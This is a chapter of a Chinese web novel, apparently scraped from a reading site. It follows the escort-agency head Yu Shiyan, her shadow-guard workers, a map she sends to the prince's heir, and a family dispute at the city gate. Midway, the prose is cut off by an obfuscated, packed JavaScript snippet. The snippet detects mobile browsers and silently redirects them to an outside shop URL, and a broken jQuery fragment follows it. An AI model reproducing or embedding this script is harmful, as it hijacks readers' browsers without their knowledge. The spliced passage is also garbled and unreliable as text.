文趣网 > 其他小说 > 大当家别抛弃我们世子啊 > 39. 春去秋来
    【现任朔州刺史尤秉章,官任齐鹤县令时对蝗灾之事瞒而不报,同时有贪墨金六百两、银一千两的嫌疑,已停务听勘】

    “尤县令,如今官任朔州刺史……”她低声喃喃,居然去了朔州,这地方指定有什么见不得人的事情。

    根据李大娃、尹眉缘上一次走朔州那趟镖时带回来的线索,长北城附近地势平坦,爹娘出事的那个地方更是一望无际,有点脑子的山匪又不会选在这种地方埋伏镖队。

    长北地广人稀,缺水,匪徒都不愿在这周围占山为王。

    最近的匪寨白虎寨距离长北一百余里,但离梁阳就近了。

    倘若当年作案的真是这群白虎寨的匪徒,那他们也应该在梁阳附近下手,而不是跑这么远来长北。

    在长北作案唯一的好处,就是地广人稀没人能看得到,大雪封山掩盖了所有痕迹,永远不会有人知道究竟是谁带走了货。

    她默默将信纸放进匣子,锁好,抬手摸了摸游隼的脑袋:“再等等,看石榴能不能安全去到梁阳再回来。”

    五月廿五,海晏镖局给长工结月钱。

    有值夜加的钱,影十五扣得少好歹是拿到了四百八十钱。

    影七就没这么好命了,只有四百五十钱。

    “不要抱怨你的工钱为什么比别人少,”李二娃摇头晃脑,语重心长道,“要问问你自己,是不是没努力?”

    “……”影七无话可说,本以为府里那个影一已经很会洗脑控制道德绑架戴高帽了,没想到还是高手在民间。

    雨师言在库房里数每个镖师的月钱,好几个伙计一起一贯一贯地分。

    “大当家的,我们那个食宿费什么时候扣啊……”

    雨师言转头,眉头微蹙:“还要我来帮你们算每个月扣多少?自己攒好钱,领第十二个月工钱的时候交上来。”

    影七抿了抿唇,看向影十五:你说世子会帮我们交吗?

    影十五保持沉默:影一会说你不应该让主子帮你交。

    居然还要学习存钱,以前做暗卫的时候发了月钱也没地方花。

    “十五,那小监工说发月钱后可以休一日,要不咱俩去外边逛逛?”影七抛了抛手里的钱袋子,勾过兄弟的肩膀问道。

    影十五无动于衷:“上工我们是长工,下工我们是暗卫,你干这么多年心里没点数吗?”

    影七撇撇嘴,这个已经彻底被影一洗脑了。

    雨师言数半天可算是数完了,转着轮子移到庭院看看花。

    那个是……“凌七,你在那儿站什么岗呢?”

    影七手中扫帚一停,硬邦邦抬头:“回大当家的,我扫地呢。”

    好重的怨气,雨师言默了默:“干啥,李二娃不让你休息啊?”

    “是十五不让我休息,他说我们上工是长工下工是暗卫!”影七控诉道。

    “咋,”雨师言弹开暗格捏出一颗花生剥开,“你家世子还给你们再发一笔月钱?”

    影七这般说起来更是一把辛酸泪:“有就好了……”

    “没给你发钱你给他干什么活?”雨师言无所畏惧直接道,“你现在拿着我给你发的钱干他的活是什么意思?我说发完月钱放一天假,就别让我看见你们还在镖局里头晃悠。游娘!”

    她拍拍手,游隼从树上飞下来:“叽!”

    游隼一个俯冲创飞了影七手里的扫帚,昂首挺胸站在廊凳上。

    影七和影十五站在镖局门外,同时仰头看海晏镖局的牌匾。

    二人对视了一眼,不如去找十一,看看他在干啥。

    “放假?哈哈哈哈哈哈……怎么可能?”影十一身穿长随服制,仰面大笑,“这个徐县令他根本就是一个工作狂,他不休沐我也别想放假!”

    精神状态好像……影七影十五默默后退两步,与他拉开距离。

    “我当细作的时候,好歹还有‘这个任务结束后’一说,到了这里就是日复一日的跑腿、传公文、念案卷……什么时候才是个头啊!”

    影十一耷拉着脸,摸了摸站在桌子上的白鸽:“工伤……这是工伤……我要跟世子报工伤——”

    太惨了,你的兄弟决定找办法可怜可怜你,

    “大当家的,事情就是这样,十一有些扛不住了,您看?”影七在雨师言面前眨了眨眼。

    雨师言摸了摸下巴,思索片刻:“说起来,徐县令也有些日子没来我这儿了,他下次来的时候我问问他吧。对了——”

    她拉开抽屉,拿出一份舆图。

    “你们世子给我的信里说,京中准备投钱到齐鹤办一家书院。这是齐鹤方圆二百里的舆图,上面标注了山寨、码头的位置以及我们商队回走的快捷路线,大概的地价也在上面了,你们自己想办法传过去罢。”

    “欸?”影七愣了愣,才接过。

    打开一看,上面的内容详细极了,还标注了每一项信息是什么时候收集的。

    影十五犹豫了一下,问道:“您为何不自己传信?”

    “你们世子爷好像给我家游娘加餐了,你看看它,”她戳了一下游隼的小肚肚,“都胖了,回头飞不起来怎么办?”

    “叽……”游隼扭头,隼不胖,隼只是毛茸茸!

    “那、要向世子说明是您做的吗?”影七本着专业传信的态度试探道。

    “你家世子手里有我的信,他难道会认不出我的字?”雨师言摆摆手,“赶紧滚,我还有别的事呢。”

    也算是……不欠他的,她想。

    —

    信鸽落入王府院落。

    这舆图,比那幅挂在“海晏河清”下的镖师路线图还要详细。

    这是她特意做的?

    为了齐鹤百姓?为了帮县令?还是为了……拉拢祉王世子做靠山?

    她是个商人,不喜欢做亏本买卖。

    楚修盯着那副舆图上的字,她不会对徐斐然有什么特殊的感情,这一切只是因为徐斐然是齐鹤县令,只要徐斐然不是齐鹤县令了……

    不对,怎么又在想她到底在意谁。

    “慕成,把这个给影一,让他自己誊抄成一张大的,再把原件还给我——”

    慕成站在影一面前,捧着布卷舆图诚恳道:“世子爷还交代,您可万万不能弄脏弄坏,不然小的可就要遭殃了。”

    “……好,我知道了。”影一拿走舆图,有些疑惑,世子什么时候对信鸽使的情报这么在意了?

    不对,这不是影十一的字迹,这是——

    影一拿水晶镜对着这份舆图上的字放大一个个看过去,看起来像女子的字迹。

    嗅一嗅看有没有脂粉味……盐水花生?影

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769975|209867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一将信将疑坐直,鼻子远离舆图。

    不管了,先誊抄吧。

    春去秋来,女贞树的花谢了,结出绿豆大的果。

    【珞舟,书院的事定下来了,大约明年立春后就能建好,你应该能从徐斐然那里听到。】

    【赏赐的事有眉目了,东西都找回来了。还有尤秉章,他的确偷拿了五百两银,他冠冕堂皇说都用在了齐鹤县的发展上,但他得吐出来。】

    【你之前行文之中悄悄夹了一句说我劳心劳力去查这些事实在不是一笔值当的买卖,我看见了,但我不想辩解,反正你也会说我只是因为新鲜感。】

    【辩解无用,那我就等东西全都找到了我再告诉你。】

    【是,你不缺人照料也不缺金银,但你缺一个交代。令尊令堂的事,你也缺一个交代,我不会坐视不管。】

    “唉……”她将信纸反扣了过去,

    都是年代久远的事,中间的人还盘根错节,若要查起来,哪有这么容易?

    也不知道徐县令上次递上去的折子怎么样了,反正她是没再被找过麻烦。

    “大当家的,大当家的!”杨巳娘噔噔噔跑来,一手扒住门框才没跑过头,“不好了,刘镖头他们刚进城门就被仁济堂的人拦下。仁济堂的人撒泼打滚非说他们带坏了尹家的女儿,要把尹镖师带回医馆去!”

    城门处围了一大堆的人。

    尹家的老嬷嬷在人群中间哭得抽抽嗒嗒,话里话外都是说尹眉缘不孝、狠心抛下亲爹亲娘好几年都不见一面。

    “师妹,你别怕,”李大娃大义凛然挡在尹眉缘前面,“只要你不想走,我们就绝不会把你交出去!”

    尹眉缘面不改色,平静地捋了捋自己的剑穗:“其实是因为你若把我交出去了,我表姐会扣你钱吧?”

    “……”李大娃一噎,一时哑口无言。

    “让让!都让让!别看了!”李二娃的动静响起,他拿着跟扫帚左右扒拉,“让开让开,给咱们大当家的轮椅腾条道啊!”

    围观百姓见是雨师大当家来了,纷纷往旁边挤挤,好歹是腾了条过道出来。

    “婶子,”雨师言微微附身,对着坐地上哭的老嬷嬷说道,“您有没有公德心啊?”

    老嬷嬷哭声一顿,爬起来指着她便骂道:“丧良心的外姓女!你自己嫁不出去在家里做个老姑婆,还要拉着我们家缘儿一起,你究竟是何居心!”

    “婶子,我们的家事你杵在城门这里撒泼算怎么回事?你招了这么多人在这儿围着,这不是挡道吗?”雨师言淡淡道。

    “就是!”刘镖头适时出声附和,“不管怎么的,你在这里引人注目堵着大家伙进城出城就是不对,赶紧起来!”

    老嬷嬷软硬不吃:“你们把缘儿还给我们家,我就起来!”

    有些年轻人不知道怎么回事的,有些大姨大婶便低声解释。

    尹家和梁家本是齐鹤两大医药世家,结亲后有了一儿一女,儿子继承了仁济堂,女儿嫁到海晏镖局。

    那尹镖师是尹家子之女,雨师大当家则是尹家女之女。

    “这尹镖师不想做大夫,跑去拜了姑父为师学武……”卖香粉的大姨啧啧摇头,“现在好了,仁济堂打上来不乐意这事儿了,要把女儿带回去不给海晏镖局走镖了,且瞧瞧海晏镖局该咋整吧!”